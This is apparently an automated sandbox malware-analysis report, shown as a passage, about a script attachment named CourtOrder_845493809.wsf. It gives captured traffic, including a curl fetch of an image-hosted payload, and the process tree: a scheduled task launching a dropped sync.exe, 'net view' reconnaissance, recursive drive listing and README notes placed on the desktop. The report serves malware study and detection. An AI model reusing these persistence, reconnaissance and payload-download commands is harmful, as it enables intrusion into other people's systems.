09 1E 26 4B F1 1D C4 3C 2D FF C8 E9 39 28 59 BB ..&K...<-...9(Y.01B0: C0 CE 48 FE A4 2E C9 3A BF 1B 98 00 BF AA 83 0A ..H....:........01C0: 98 36 EA A5 2A 28 A3 7C 1C 7A 06 04 A8 BF 07 80 .6..*(...z......01D0: 3F E8 0D 0D A4 94 EC 12 4C 12 F5 FB 2F B6 CC 3E ?.......L.../..>01E0: E1 54 DB 42 D1 FE 09 2E 77 FD 70 30 96 22 C9 A2 .T.B....w.p0."..01F0: 9C 41 BB 9C 5E 94 48 41 E2 BB 49 5A E6 8A 9A AE .A..^.HA..IZ....]
      Aug 23, 2017 11:21:33.851583004 MESZ44349195104.27.127.62192.168.1.16CN=The Universe Security Company Ltd, O=The Universe Security Company Ltd, L=San Francisco, ST=California, C=USCN=The Universe Security Company Ltd, O=The Universe Security Company Ltd, L=San Francisco, ST=California, C=USTue Mar 17 15:16:38 CET 2015Thu Mar 09 15:16:38 CET 2045[[ Version: V3 Subject: CN=The Universe Security Company Ltd, O=The Universe Security Company Ltd, L=San Francisco, ST=California, C=US Signature Algorithm: SHA1withRSA, OID = 1.2.840.113549.1.1.5 Key: Sun RSA public key, 4096 bits modulus: 711985641737528462479372839972075530806320878454687135557621402441443773471983019684383733615847358574518313705179519082770607436694533624743745618156175203869336045691550204932787533401608417444382184463323372400890803042896962496985368564951032185827918215530110793308055563994609721635134287633753491597904696459307342961258709601068933206070716059343344267496588496065097287396587555800103438048952756062335051161110386879649705134962707919572452053466271443117902804394353841266298811426328938232468137350602045270819058452070042121160403908201634989593020076913587028625408970178284297106872853479670009527699840932377185204726966865353888969261126960570356541235774461783847192276011392481713055449909388462592655877330944643627998488743872162899901841530186304586154119382831571359151938823433813619391602813151960998795626931670773822266565703454446525381510991535100972197508013483354479077796159124190599252481565522767162284976136483518602005625270229130196463766126566096467226584062965433872167378966965788853949377573033392624550049042721728416419615623819845197785653778939796080743152428746810511976981516667805142566846062425162330079791475167782087511471103190553207071497348640535196229924869585029049540224117309 public exponent: 65537 Validity: [From: Tue Mar 17 15:16:38 CET 2015, To: Thu Mar 09 15:16:38 CET 2045] Issuer: CN=The Universe Security Company Ltd, O=The Universe Security Company Ltd, L=San Francisco, ST=California, C=US SerialNumber: [ d21ef1f6 e34f6bb8]Certificate Extensions: 3[1]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: BB 3B 3F AA 10 70 C8 55 F7 24 E9 3B FD 32 19 F4 .;?..p.U.$.;.2..0010: F6 11 6B 3A ..k:]][2]: ObjectId: 2.5.29.19 Criticality=falseBasicConstraints:[ CA:true PathLen:2147483647][3]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: BB 3B 3F AA 10 70 C8 55 F7 24 E9 3B FD 32 19 F4 .;?..p.U.$.;.2..0010: F6 11 6B 3A ..k:]]] Algorithm: [SHA1withRSA] Signature:0000: 48 3C 18 2B 72 E4 57 52 A8 95 35 C6 A1 73 71 20 H<.+r.WR..5..sq 0010: 85 20 94 FF 55 E7 1B 02 9C 05 C8 31 F8 85 B2 79 . ..U......1...y0020: BE B2 47 55 74 E0 55 70 6B 17 24 9F 0B 6A 92 FE ..GUt.Upk.$..j..0030: 41 04 22 4F 25 F4 5C DA 25 EF A9 32 CD CC 57 AD A."O%.\.%..2..W.0040: 88 5B 56 14 5F 7A 38 02 D3 18 23 8D A5 D8 FB 9F .[V._z8...#.....0050: 43 A3 1A 68 2E 42 06 72 26 01 A2 EB DB AF 70 2E C..h.B.r&.....p.0060: 57 12 35 7C B2 A1 EF AB 12 E0 81 55 84 37 C8 FD W.5........U.7..0070: 95 AE DE 58 60 40 52 A1 C7 75 18 A1 2F 92 5A C0 ...X`@R..u../.Z.0080: AB C9 1B A7 17 19 4E 4D D8 53 FB C6 C3 7C 33 53 ......NM.S....3S0090: 51 5B 3A 64 31 60 A4 B3 07 72 D7 39 1A F9 8A A2 Q[:d1`...r.9....00A0: 70 E4 B4 D6 BF 6A AD 24 76 74 CE C7 EA 87 3E 28 p....j.$vt....>(00B0: 6C EF 08 09 4F 79 FB CF 77 FF FA F8 77 04 4A 30 l...Oy..w...w.J000C0: 90 5B 27 11 5C 79 60 60 64 1A CB 6E 2C 5E 1C B0 .['.\y``d..n,^..00D0: 53 AC 28 4A 8B 8B DF AE 01 41 D2 12 3F 7B 22 54 S.(J.....A..?."T00E0: D2 8E 3C C4 A1 FF 4A 6C D3 1B EB 1D 35 94 14 F5 ..<...Jl....5...00F0: 79 44 BE C2 E6 93 9B BA 4D D0 81 94 E9 25 BE 43 yD......M....%.C0100: FC 2C 92 E5 CA DC 5D 9D CF CA 8B CF 0C E0 3D 29 .,....].......=)0110: 21 44 4A C0 19 F4 F3 D5 7E F5 74 35 2B FC DF A3 !DJ.......t5+...0120: F7 3C C5 D6 7A 7A 0B B6 2B C7 BF F9 8F 6E B5 56 .<..zz..+....n.V0130: 44 0F A9 45 80 9F 88 21 82 99 2C DC 85 DA 25 65 D..E...!..,...%e0140: 55 ED D3 1C 36 4E D6 63 46 68 AF 6C 87 5C C5 F6 U...6N.cFh.l.\..0150: 89 C2 E1 70 F4 87 0F F1 DE F0 8E 72 E4 CA CB 83 ...p.......r....0160: 2B CD B1 7A 54 41 AF 97 38 DF F7 EA 8C 7A B2 D1 +..zTA..8....z..0170: 1B E9 E9 D3 BF 41 0F 21 F0 AA 8D 95 B6 CD 91 90 .....A.!........0180: DF 71 E7 72 96 9D 3F 18 B9 98 8C CE 15 45 99 83 .q.r..?......E..0190: FB BD 61 4E AD 63 36 71 86 5D BD A3 17 61 6F 31 ..aN.c6q.]...ao101A0: 57 A4 25 3D ED 24 6A 9E 94 E0 D8 67 F0 17 12 86 W.%=.$j....g....01B0: B7 4E 65 93 A6 BD 8A 2A 06 6B EC 0F DE E0 B5 9C .Ne....*.k......01C0: A0 AF D5 A4 32 A2 70 75 A1 02 A9 7F 85 D9 39 38 ....2.pu......9801D0: 80 BB 41 A6 0F A3 8D 1F F1 66 E0 04 B3 A2 88 03 ..A......f......01E0: 8B A7 AF E1 A1 60 95 F6 CB 76 12 C8 51 83 1E 14 .....`...v..Q...01F0: E2 0B B5 6C F1 4B 96 21 F9 DE AA B2 CD 71 B8 63 ...l.K.!.....q.c]

      HTTPS Proxied Packets

      TimestampSource PortDest PortSource IPDest IPHeader / DataTotal Bytes Transfered (KB)
      2017-08-23 09:21:34 UTC49195443192.168.1.16104.27.127.62GET /mxRqXF/arrival.jpg HTTP/1.1
      Connection: Keep-Alive
      Accept: */*
      Accept-Language: en-US
      User-Agent: curl/7.51.0
      Host: image.ibb.co
      		0
      2017-08-23 09:21:34 UTC44349195104.27.127.62192.168.1.16HTTP/1.1 403 Forbidden
      Date: Wed, 23 Aug 2017 09:21:34 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: close
      Set-Cookie: __cfduid=d9d3303d3a92b74735437e2f5ae50f7381503480094; expires=Thu, 23-Aug-18 09:21:34 GMT; path=/; domain=.ibb.co; HttpOnly
      Cache-Control: max-age=2
      Expires: Wed, 23 Aug 2017 09:21:36 GMT
      X-Frame-Options: SAMEORIGIN
      Server: cloudflare-nginx
      CF-RAY: 392d009da9ac2920-OTP
      		0
      2017-08-23 09:21:34 UTC44349195104.27.127.62192.168.1.16Data Raw: 31 35 39 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20
      Data Ascii: 1598<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
      		0
      2017-08-23 09:21:34 UTC44349195104.27.127.62192.168.1.16Data Raw: 72 6f 6a 65 63 74 69 6f 6e 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 65 20 49 45 20 39 5d 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 63 72 69 70 74 73 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 63 64 6e 2d
      Data Ascii: rojection" /><![endif]--><style type="text/css">body{margin:0;padding:0}</style>...[if lte IE 9]><script type="text/javascript" src="/cdn-cgi/scripts/jquery.min.js"></script><![endif]-->...[if gte IE 10]>...><script type="text/javascript" src="/cdn-
      		1
      2017-08-23 09:21:34 UTC44349195104.27.127.62192.168.1.16Data Raw: 20 64 61 74 61 2d 74 79 70 65 3d 22 6e 6f 72 6d 61 6c 22 20 20 64 61 74 61 2d 72 61 79 3d 22 33 39 32 64 30 30 39 64 61 39 61 63 32 39 32 30 22 20 61 73 79 6e 63 20 64 61 74 61 2d 73 69 74 65 6b 65 79 3d 22 36 4c 66 42 69 78 59 55 41 41 41 41 41 42 68 64 48 79 6e 46 55 49 4d 41 5f 73 61 34 73 2d 58 73 4a 76 6e 6a 74 67 42 30 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 72 65 63 61 70 74 63 68 61 22 3e 3c 2f 64 69 76 3e 0a 20 20 3c 6e 6f 73 63 72 69 70 74 20 69 64 3d 22 63 66 2d 63 61 70 74 63 68 61 2d 62 6f 6f 6b 6d 61 72 6b 22 20 63 6c 61 73 73 3d 22 63 66 2d 63 61 70 74 63 68 61 2d 69 6e 66 6f 22 3e 0a 20 20 20 20 3c 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 20 33 30 32 70 78 22 3e 0a 20 20
      Data Ascii: data-type="normal" data-ray="392d009da9ac2920" async data-sitekey="6LfBixYUAAAAABhdHynFUIMA_sa4s-XsJvnjtgB0"></script> <div class="g-recaptcha"></div> <noscript id="cf-captcha-bookmark" class="cf-captcha-info"> <div><div style="width: 302px">
      		1
      2017-08-23 09:21:34 UTC44349195104.27.127.62192.168.1.16Data Raw: 2d 73 65 63 74 69 6f 6e 20 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 77 68 79 5f 63 61 70 74 63 68 61 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 64 6f 20 49 20 68 61 76 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 20 61 20 43 41 50 54 43 48 41 3f 3c 2f 68 32 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 77 68 79 5f 63 61 70 74 63 68 61 5f 64 65 74 61 69 6c 22 3e 43 6f
      Data Ascii: -section cf-wrapper"> <div class="cf-columns two"> <div class="cf-column"> <h2 data-translate="why_captcha_headline">Why do I have to complete a CAPTCHA?</h2> <p data-translate="why_captcha_detail">Co
      		1
      2017-08-23 09:21:34 UTC44349195104.27.127.62192.168.1.16Data Raw: 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 22 3e 3c 73 70 61 6e 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 70 65 72 66 6f 72 6d 61 6e 63 65 5f 73 65 63 75 72 69 74 79 5f 62 79 22 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 64 61 74 61 2d 6f 72 69 67 2d 70 72 6f 74 6f 3d 22 68 74 74 70 73 22 20 64 61 74 61 2d 6f 72 69 67 2d 72 65 66 3d 22 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 3f 75 74 6d 5f 73 6f 75 72 63 65 3d 65 72 72 6f 72 5f 66 6f 6f 74 65 72 22 20 69 64 3d 22 62 72 61 6e 64 5f 6c 69 6e 6b 22 20 74 61 72 67 65 74 3d 22
      Data Ascii: l;</span> <span class="cf-footer-item"><span data-translate="performance_security_by">Performance &amp; security by</span> <a data-orig-proto="https" data-orig-ref="www.cloudflare.com/5xx-error-landing?utm_source=error_footer" id="brand_link" target="
      		0
      2017-08-23 09:21:34 UTC44349195104.27.127.62192.168.1.16Data Raw: 30 0d 0a 0d 0a
      Data Ascii: 0
      		0

      Code Manipulations

      Statistics

      CPU Usage

      Click to jump to process

      Memory Usage

      Click to jump to process

      High Level Behavior Distribution

      Click to dive into process behavior distribution

      Behavior

      Click to jump to process

      System Behavior

      Analysis Process: wscript.exe PID: 3112 Parent PID: 2740

      General

      Start time:11:21:57
      Start date:23/08/2017
      Path:C:\Windows\System32\wscript.exe
      Wow64 process (32bit):false
      Commandline:'C:\Windows\System32\WScript.exe' 'C:\Users\user\Desktop\CourtOrder_845493809.wsf'
      Imagebase:0x77a20000
      File size:141824 bytes
      MD5 hash:979D74799EA6C8B8167869A68DF5204A
      Programmed in:C, C++ or other language

      Chronological Activities

      Analysis Process: schtasks.exe PID: 3292 Parent PID: 3112

      General

      Start time:11:22:08
      Start date:23/08/2017
      Path:C:\Windows\System32\schtasks.exe
      Wow64 process (32bit):false
      Commandline:'C:\Windows\System32\schtasks.exe' /CREATE /F /TN sync /TR 'C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exe -e \'C:\Users\user\desktop\'' /sc once /st 11:24:00
      Imagebase:0x778a0000
      File size:179712 bytes
      MD5 hash:2003E9B15E1C502B146DAD2E383AC1E3
      Programmed in:C, C++ or other language

      Chronological Activities

      Analysis Process: sync.exe PID: 3356 Parent PID: 3324

      General

      Start time:11:24:00
      Start date:23/08/2017
      Path:C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exe
      Wow64 process (32bit):false
      Commandline:C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exe -e 'C:\Users\user\desktop'
      Imagebase:0x778a0000
      File size:2203648 bytes
      MD5 hash:E80C5368FA4395655BE9A4ED9A6CFCC3
      Programmed in:C, C++ or other language

      Chronological Activities

      Analysis Process: cmd.exe PID: 3412 Parent PID: 3356

      General

      Start time:11:24:05
      Start date:23/08/2017
      Path:C:\Windows\System32\cmd.exe
      Wow64 process (32bit):false
      Commandline:C:\Windows\system32\cmd.exe /c move /y readme.html 'C:\Users\user\desktop\README\readme.html'
      Imagebase:0x75860000
      File size:302592 bytes
      MD5 hash:AD7B9C14083B52BC532FBA5948342B98
      Programmed in:C, C++ or other language

      Chronological Activities

      Analysis Process: cmd.exe PID: 3436 Parent PID: 3356

      General

      Start time:11:24:07
      Start date:23/08/2017
      Path:C:\Windows\System32\cmd.exe
      Wow64 process (32bit):false
      Commandline:C:\Windows\system32\cmd.exe /c move /y readme.png 'C:\Users\user\desktop\README\readme.png'
      Imagebase:0x778a0000
      File size:302592 bytes
      MD5 hash:AD7B9C14083B52BC532FBA5948342B98
      Programmed in:C, C++ or other language

      Chronological Activities

      Analysis Process: cmd.exe PID: 3460 Parent PID: 3356

      General

      Start time:11:24:09
      Start date:23/08/2017
      Path:C:\Windows\System32\cmd.exe
      Wow64 process (32bit):false
      Commandline:C:\Windows\system32\cmd.exe /c cmd /c net view
      Imagebase:0x75860000
      File size:302592 bytes
      MD5 hash:AD7B9C14083B52BC532FBA5948342B98
      Programmed in:C, C++ or other language

      Chronological Activities

      Analysis Process: cmd.exe PID: 3512 Parent PID: 3460

      General

      Start time:11:24:10
      Start date:23/08/2017
      Path:C:\Windows\System32\cmd.exe
      Wow64 process (32bit):false
      Commandline:cmd /c net view
      Imagebase:0x778a0000
      File size:302592 bytes
      MD5 hash:AD7B9C14083B52BC532FBA5948342B98
      Programmed in:C, C++ or other language

      Chronological Activities

      Analysis Process: net.exe PID: 3588 Parent PID: 3512

      General

      Start time:11:24:16
      Start date:23/08/2017
      Path:C:\Windows\System32\net.exe
      Wow64 process (32bit):false
      Commandline:net view
      Imagebase:0x778a0000
      File size:46080 bytes
      MD5 hash:B9A4DAC2192FD78CDA097BFA79F6E7B2
      Programmed in:C, C++ or other language

      Chronological Activities

      Analysis Process: cmd.exe PID: 3624 Parent PID: 3356

      General

      Start time:11:24:29
      Start date:23/08/2017
      Path:C:\Windows\System32\cmd.exe
      Wow64 process (32bit):false
      Commandline:'C:\Windows\System32\cmd.exe' /c dir C:\ /s /b /a-d >> WAJSFDWJWP
      Imagebase:0x75860000
      File size:302592 bytes
      MD5 hash:AD7B9C14083B52BC532FBA5948342B98
      Programmed in:C, C++ or other language

      Chronological Activities

      Disassembly

      Code Analysis

      Reset < >

        Analysis Process: sync.exe PID: 3356 Parent PID: 3324

        Execution Graph

        Execution Coverage:0.5%
        Dynamic/Decrypted Code Coverage:0%
        Signature Coverage:87.2%
        Total number of Nodes:1018
        Total number of Limit Nodes:3

        Graph

        %3 70092 401170 70093 401191 70092->70093 70094 401470 GetStartupInfoA 70093->70094 70095 4011e2 70093->70095 70096 401481 _initterm 70094->70096 70097 401217 70095->70097 70100 4011fd Sleep 70095->70100 70101 4014a4 70096->70101 70098 401425 _amsg_exit 70097->70098 70099 401227 70097->70099 70102 40143f _initterm 70098->70102 70107 40124c 70098->70107 70099->70096 70103 401234 70099->70103 70100->70095 70104 4014ab exit 70101->70104 70102->70107 70103->70102 70103->70107 70106 40127e SetUnhandledExceptionFilter 70111 40129f 70106->70111 70120 4d1c30 70107->70120 70108 401334 malloc 70108->70101 70109 401361 70108->70109 70110 401365 strlen malloc memcpy 70109->70110 70110->70110 70112 40139c 70110->70112 70111->70108 70153 4d1740 70112->70153 70114 4013b7 70158 57150f 70114->70158 70116 4013e3 70116->70104 70117 4013f6 70116->70117 70118 401400 _cexit 70117->70118 70119 40140a 70117->70119 70118->70119 70121 4d1c43 70120->70121 70123 4d1c50 70120->70123 70121->70106 70122 4d1d38 70122->70121 70127 4d1d49 70122->70127 70123->70121 70123->70122 70124 4d1ee3 70123->70124 70130 4d1d81 70123->70130 70136 4d1cec 70123->70136 70175 4d1a90 29 API calls 70124->70175 70128 4d1d79 70127->70128 70173 4d1af0 29 API calls 70127->70173 70128->70130 70129 4d1ef3 70132 4d1f60 70129->70132 70133 4d1f1e 70129->70133 70134 4d1fd0 signal 70129->70134 70130->70121 70146 4d1db6 VirtualQuery 70130->70146 70131 4d1f90 signal 70135 4d2051 signal 70131->70135 70143 4d1f46 70131->70143 70132->70131 70137 4d201b signal 70132->70137 70138 4d1f72 70132->70138 70141 4d2010 70133->70141 70142 4d1f29 signal 70133->70142 70139 4d1fe9 signal 70134->70139 70134->70143 70152 4d1f4a 70135->70152 70136->70123 70140 4d1d28 70136->70140 70144 4d1af0 29 API calls 70136->70144 70137->70143 70145 4d2090 signal 70137->70145 70138->70134 70138->70143 70139->70152 70172 4d1a90 29 API calls 70140->70172 70141->70137 70141->70143 70142->70143 70147 4d2070 signal 70142->70147 70143->70131 70143->70152 70144->70136 70145->70152 70149 4d1ebe 70146->70149 70150 4d1ddc VirtualProtect 70146->70150 70147->70152 70174 4d1a90 29 API calls 70149->70174 70150->70130 70152->70106 70154 4d1749 70153->70154 70155 4d16f0 70153->70155 70154->70114 70176 4d16a0 70155->70176 70159 4d1740 4 API calls 70158->70159 70160 571536 GetTempPathA 70159->70160 70187 40491f 70160->70187 70163 571573 70189 4048a4 70163->70189 70166 4048a4 146 API calls 70167 571597 70166->70167 70193 4048e5 70167->70193 70171 5715ba 70171->70116 70172->70122 70173->70127 70174->70124 70175->70129 70179 4d15e0 70176->70179 70178 4d16af 70178->70114 70180 4d15f1 70179->70180 70181 4d1680 _onexit 70180->70181 70182 4d15fe _lock 70180->70182 70181->70178 70183 4d1617 70182->70183 70184 4d1628 __dllonexit 70183->70184 70185 4d1656 70184->70185 70186 4d1667 _unlock 70185->70186 70186->70178 70188 40492c SetCurrentDirectoryA 70187->70188 70188->70163 70188->70171 70190 4048bd 70189->70190 71141 40482c 70190->71141 70192 4048da 70192->70166 70194 4048f4 70193->70194 70195 404917 70193->70195 70194->70195 70196 4048fc memcmp 70194->70196 70197 401630 70195->70197 70196->70195 70198 401640 70197->70198 70199 4048a4 146 API calls 70198->70199 70200 401657 70199->70200 71153 5535d0 70200->71153 70206 40168b 70207 401693 CreateDirectoryA Sleep 70206->70207 71169 56e030 strlen 70207->71169 70210 551d50 151 API calls 70211 4016df 70210->70211 70212 56e030 154 API calls 70211->70212 70213 40170a 70212->70213 70214 551d50 151 API calls 70213->70214 70215 401718 70214->70215 70216 5535d0 147 API calls 70215->70216 70217 40173b system 70216->70217 70218 401751 70217->70218 70219 5535d0 147 API calls 70218->70219 70220 40175b system 70219->70220 71186 550ed0 70220->71186 70222 401777 GetLogicalDriveStringsA 71188 404a24 Sleep time srand 70222->71188 70224 4017b2 GetDriveTypeA 70225 4018f1 lstrlenA 70224->70225 70300 40178f 70224->70300 70225->70300 70226 404972 155 API calls 70226->70300 70227 4048a4 146 API calls 70227->70300 70228 55cf70 186 API calls 70228->70300 70229 56dbf0 147 API calls 70229->70300 70231 570390 140 API calls 70231->70300 70232 401e21 GetSystemWindowsDirectoryA 70233 4048a4 146 API calls 70232->70233 70234 401e76 70233->70234 70236 401e89 tolower 70234->70236 70237 401e9b 70234->70237 70235 4f3dd0 strlen memchr 70235->70300 70236->70234 70238 5535d0 147 API calls 70237->70238 70239 401ea9 70238->70239 70241 551d50 151 API calls 70239->70241 70240 401d1f 70240->70232 70242 401dc3 ShellExecuteExA WaitForSingleObject 70240->70242 70243 401ebc 70241->70243 70242->70240 70244 5535d0 147 API calls 70243->70244 70245 401ecb 70244->70245 70247 551d50 151 API calls 70245->70247 70246 56e030 154 API calls 70246->70300 70248 401ede 70247->70248 70249 5535d0 147 API calls 70248->70249 70250 401eed 70249->70250 70252 551d50 151 API calls 70250->70252 70251 553c20 147 API calls 70251->70300 70253 401f00 70252->70253 70254 5535d0 147 API calls 70253->70254 70255 401f0f 70254->70255 70256 551d50 151 API calls 70255->70256 70257 401f22 70256->70257 70258 5535d0 147 API calls 70257->70258 70260 401f31 70258->70260 70259 56ae60 160 API calls 70259->70300 70261 551d50 151 API calls 70260->70261 70262 401f44 70261->70262 70264 4048a4 146 API calls 70262->70264 70263 4f4240 strlen memcmp 70263->70300 70265 401f57 70264->70265 70266 4048a4 146 API calls 70265->70266 70267 401f6a 70266->70267 70268 4048a4 146 API calls 70267->70268 70269 401f7d 70268->70269 70271 4048a4 146 API calls 70269->70271 70270 4f45b0 168 API calls 70270->70300 70272 401f90 70271->70272 70274 4048a4 146 API calls 70272->70274 70273 5535d0 147 API calls 70273->70300 70276 401fa3 70274->70276 70275 551d50 151 API calls 70275->70300 70277 4048a4 146 API calls 70276->70277 70279 401fb6 70277->70279 70278 404673 71214 551de0 150 API calls 70278->71214 70281 4048a4 146 API calls 70279->70281 70283 401fc9 70281->70283 70284 4048a4 146 API calls 70283->70284 70285 401fdc 70284->70285 70286 4048a4 146 API calls 70285->70286 70287 401fef 70286->70287 70288 4048a4 146 API calls 70287->70288 70290 402002 70288->70290 70289 4f45b0 168 API calls 70308 403bc3 70289->70308 70292 4048a4 146 API calls 70290->70292 70291 4f3c90 strlen memchr 70291->70308 70293 402015 70292->70293 70294 4048a4 146 API calls 70293->70294 70295 402028 70294->70295 70296 4048a4 146 API calls 70295->70296 70297 40203b 70296->70297 70299 4048a4 146 API calls 70297->70299 70298 4048e5 memcmp 70298->70308 70301 40204e 70299->70301 70300->70224 70300->70225 70300->70226 70300->70227 70300->70228 70300->70229 70300->70231 70300->70235 70300->70240 70300->70246 70300->70251 70300->70259 70300->70263 70300->70270 70300->70273 70300->70275 70300->70278 71192 569f90 138 API calls 70300->71192 71193 5522f0 180 API calls 70300->71193 70302 4048a4 146 API calls 70301->70302 70303 402061 70302->70303 70304 4048a4 146 API calls 70303->70304 70307 402074 70304->70307 70305 56acb0 147 API calls 70305->70308 70306 56dbf0 147 API calls 70306->70308 70309 4048a4 146 API calls 70307->70309 70308->70289 70308->70291 70308->70298 70308->70305 70308->70306 70314 403c5c tolower 70308->70314 70318 403d1c 70308->70318 71197 56ade0 160 API calls 70308->71197 71198 4f4340 memcmp 70308->71198 70310 402087 70309->70310 70311 4048a4 146 API calls 70310->70311 70312 40209a 70311->70312 70313 4048a4 146 API calls 70312->70313 70315 4020ad 70313->70315 70314->70308 70316 4048a4 146 API calls 70315->70316 70317 4020c0 70316->70317 70320 4048a4 146 API calls 70317->70320 71199 544700 152 API calls 70318->71199 70322 4020d3 70320->70322 70325 4048a4 146 API calls 70322->70325 70323 403d2c 71200 544700 152 API calls 70323->71200 70327 4020e6 70325->70327 70326 403d37 71201 542980 152 API calls 70326->71201 70330 4048a4 146 API calls 70327->70330 70331 4020f9 70330->70331 70333 4048a4 146 API calls 70331->70333 70332 403d42 remove 71202 405600 20 API calls 70332->71202 70335 40210c 70333->70335 70337 4048a4 146 API calls 70335->70337 70336 403d9b time 71203 405600 20 API calls 70336->71203 70339 40211f 70337->70339 70341 4048a4 146 API calls 70339->70341 70340 403dd2 srand rand 71204 404a88 146 API calls 70340->71204 70343 402132 70341->70343 70345 4048a4 146 API calls 70343->70345 70344 403e39 71205 4053c0 21 API calls 70344->71205 70346 402145 70345->70346 70347 4048a4 146 API calls 70346->70347 70349 402158 70347->70349 70351 4048a4 146 API calls 70349->70351 70350 403f36 71206 40d6a0 53 API calls 70350->71206 70353 40216b 70351->70353 70355 4048a4 146 API calls 70353->70355 70354 403f56 70356 403f64 malloc 70354->70356 70357 40217e 70355->70357 70359 403f94 70356->70359 70358 4048a4 146 API calls 70357->70358 70360 402191 70358->70360 70362 5535d0 147 API calls 70359->70362 70361 4048a4 146 API calls 70360->70361 70363 4021a4 70361->70363 70364 403fa8 70362->70364 70365 4048a4 146 API calls 70363->70365 70366 551d50 151 API calls 70364->70366 70368 4021b7 70365->70368 70367 403fbb fopen fwrite fclose 70366->70367 70370 5535d0 147 API calls 70367->70370 70369 4048a4 146 API calls 70368->70369 70371 4021ca 70369->70371 70372 404012 70370->70372 70373 4048a4 146 API calls 70371->70373 70374 551d50 151 API calls 70372->70374 70376 4021dd 70373->70376 70375 404021 70374->70375 70378 553c20 147 API calls 70375->70378 70377 4048a4 146 API calls 70376->70377 70379 4021f0 70377->70379 70380 404030 70378->70380 70381 4048a4 146 API calls 70379->70381 71207 544ad0 186 API calls 70380->71207 70382 402203 70381->70382 70384 4048a4 146 API calls 70382->70384 70386 402216 70384->70386 70385 40403f 71208 544590 152 API calls 70385->71208 70388 4048a4 146 API calls 70386->70388 70390 402229 70388->70390 70389 404057 71209 56d960 148 API calls 70389->71209 70391 4048a4 146 API calls 70390->70391 70393 40223c 70391->70393 70395 4048a4 146 API calls 70393->70395 70394 404069 71210 52c690 147 API calls 70394->71210 70398 40224f 70395->70398 70397 404073 71211 56d960 148 API calls 70397->71211 70399 4048a4 146 API calls 70398->70399 70401 402262 70399->70401 70403 4048a4 146 API calls 70401->70403 70402 404084 71212 544700 152 API calls 70402->71212 70406 402275 70403->70406 70405 40408b 71213 544f20 152 API calls 70405->71213 70407 4048a4 146 API calls 70406->70407 70409 402288 70407->70409 70410 4048a4 146 API 